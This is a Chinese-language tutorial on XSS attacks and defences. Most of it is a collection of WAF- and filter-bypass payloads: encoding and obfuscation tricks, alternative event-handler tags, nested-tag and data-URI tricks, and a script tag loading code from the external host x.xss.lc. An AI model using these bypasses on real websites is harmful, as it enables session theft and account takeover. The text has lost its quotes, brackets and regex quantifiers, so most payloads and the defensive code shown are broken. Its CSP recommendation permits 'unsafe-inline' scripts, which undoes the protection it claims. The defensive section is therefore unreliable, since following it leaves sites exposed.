1. XSS攻防基础从入门到绕过滤跨站脚本攻击XSS就像Web安全领域的变色龙它能够根据环境不断变换形态。想象一下你正在浏览一个看似正常的网页突然弹出一个莫名其妙的弹窗——这就是最基础的XSS攻击在作祟。但现实中的攻防远比这复杂得多就像猫捉老鼠的游戏防御方筑起高墙攻击者就会寻找新的攀爬方式。最常见的三类XSS中存储型像是埋在土壤里的地雷一旦植入就会持续生效反射型则像精准投放的导弹需要诱骗用户点击特定链接而DOM型更像是魔术师的障眼法完全在浏览器端完成攻击。我曾在一个电商网站测试时发现其搜索框存在反射型XSS漏洞只需构造一个包含恶意脚本的搜索链接任何点击该链接的用户都会中招。基础绕过手法往往从标签属性注入开始。比如一个简单的输入框input typetext value用户输入如果直接输入scriptalert(1)/script最终生成的HTML会变成input typetext valuescriptalert(1)/script这样就能成功逃逸出value属性执行脚本。但现代WAFWeb应用防火墙早就盯上了这种简单粗暴的方式于是攻防进入下一阶段。2. 编码艺术HTML实体与JavaScript混淆当直接注入被拦截时编码转换就成了攻击者的画笔。记得有次渗透测试目标网站过滤了所有尖括号但允许HTML实体编码。于是我输入ltscriptgtaIert(#39;XSS#39;)lt/scriptgt服务器解码后依然变成了可执行的脚本。这种编码就像密文通信浏览器能读懂但WAF可能被蒙蔽。更高级的玩法是多重编码组合。比如先对payload进行URL编码再进行HTML实体编码%3Cscript%3Ealert(1)%3C/script%3E → lt;scriptgt;alert(1)lt;/scriptgt; → amp;lt;scriptamp;gt;alert(1)amp;lt;/scriptamp;gt;每层解码就像剥洋葱最终暴露出核心payload。在测试某CMS系统时我发现其过滤层只处理了一次解码这种解码深度不一致的漏洞让多重编码绕过成为可能。JavaScript自身的灵活性也提供了多种混淆手段// Unicode转义 \u0061\u006C\u0065\u0072\u0074(1) // 十六进制 eval(\x61\x6c\x65\x72\x74(1)) // 八进制 eval(\141\154\145\162\164(1))这些变形就像给恶意代码穿上不同的马甲我曾用top[alert](1)成功绕过了一个基于关键字黑名单的过滤器。3. 标签变形术突破过滤规则当script标签被全面封杀时替代标签就派上用场了。在一次真实渗透中我发现目标系统严格过滤script但允许svg标签。于是构造svg onloadalert(1)成功触发XSS。其他常用替代方案包括img src1 onerroralert(1) iframe srcjavascript:alert(1) body onpageshowalert(1)大小写混淆是另一个经典技巧。某些WAF只匹配小写script标签ScRiPtalert(1)/sCriPt更狡猾的是嵌套标签绕过scrscriptiptalert(1)/scr/scriptipt当过滤器愚蠢地删除内层script标签时反而帮我们拼出了完整的执行代码。对于严格的内容安全策略CSPdata URI方案可能成为突破口object datadata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg这个base64编码的payload解码后就是scriptalert(1)/script我在某个只允许同源脚本的网站上成功用此方法绕过限制。4. 高级混淆利用浏览器解析特性浏览器与WAF的解析差异创造了丰富的绕过空间。注释拼接就是典型例子script/* */alert/* */(1)/* *//script这种分散的payload可以绕过简单的正则匹配我曾用它将一个长payload拆分成多个输入框注入。HTML5新增的自定义数据属性也值得关注div>img/srcx/onerroralert(1)缺少空格的标签依然能被正确解析但可能骗过简单的分词检测。最精妙的要数编码组合拳。有次遇到一个层层过滤的系统我最终使用的payload是iframe srcjav#x09;ascript:al\u0065rt(1)它同时混合了十六进制编码的Tab符#x09;Unicode转义\u0065省略引号的属性 这种鸡尾酒式的混淆让防御系统难以建立统一的匹配规则。5. 实战中的组合技巧真实环境中的绕过往往需要多技术组合。去年审计某SAAS平台时我遇到了如下防御过滤所有script标签不区分大小写转义尖括号为实体移除on事件属性最终突破方案是svgscript x yalert(1)/script利用svg内部的script标签不受限的特性配合属性值中的未编码符号破坏解析。HTTP参数污染是另一个有趣的角度。当系统同时接收多个同名参数时?namescriptnamealert(1)/script不同中间件处理方式可能导致参数拼接形成可执行代码。在TomcatSpring的组合中我就发现过这类问题。对于内容长度限制可以采用外部资源引用script src//x.xss.lc/script配合短域名服务我曾将整个payload压缩到20字符以内。6. 防御者的视角如何构建有效防护作为曾经的攻击者现在我想分享防御经验。深度防御策略应该包括输入验证采用白名单而非黑名单// 错误做法黑名单 $input preg_replace(/script/i, , $input); // 正确做法白名单 if(!preg_match(/^[a-z0-9\s]$/i, $input)) { die(非法输入); }输出编码根据上下文选择编码方式// HTML正文编码 function htmlEncode(str) { return str.replace(//g, amp;) .replace(//g, lt;) .replace(//g, gt;); } // JavaScript上下文编码 function jsEncode(str) { return str.replace(/\\/g, \\\\) .replace(//g, \\) .replace(//g, \\); }内容安全策略CSP限制脚本来源Content-Security-Policy: default-src self; script-src unsafe-inlineHttpOnly Cookie防止敏感信息被窃取setcookie(sessionid, value, [httponly true]);在最近的项目中我们采用多层过滤架构前端输入实时验证网关WAF规则过滤应用参数化查询输出编码浏览器严格CSP策略这种纵深防御使得单一漏洞难以造成实质性危害。7. 攻防演进从对抗到共生XSS攻防史就像一场永不停歇的军备竞赛。十年前可能一个简单的script标签就能成功现在则需要复杂的混淆技术。但有趣的是这种对抗反而推动了Web安全整体进步。现代前端框架如React、Vue已经内置了XSS防护它们的虚拟DOM机制自动处理了大部分危险字符。但框架本身也可能引入新的攻击面比如Vue的v-html指令就需要注意。自动化检测工具如Burp Suite、XSS Hunter已经成为渗透测试标配但真正的突破往往还需要手动测试。我习惯用分治法先测试基础payload被拦截后逐步添加混淆观察哪部分触发了防御就像解谜游戏一样有趣。最后想强调的是安全不是绝对的。在某个金融项目中发现XSS后我们没有简单修复漏洞而是借此机会重构了输入处理管道引入了更安全的API设计模式。这才是攻防对抗的最高境界——让攻击成为改进的契机。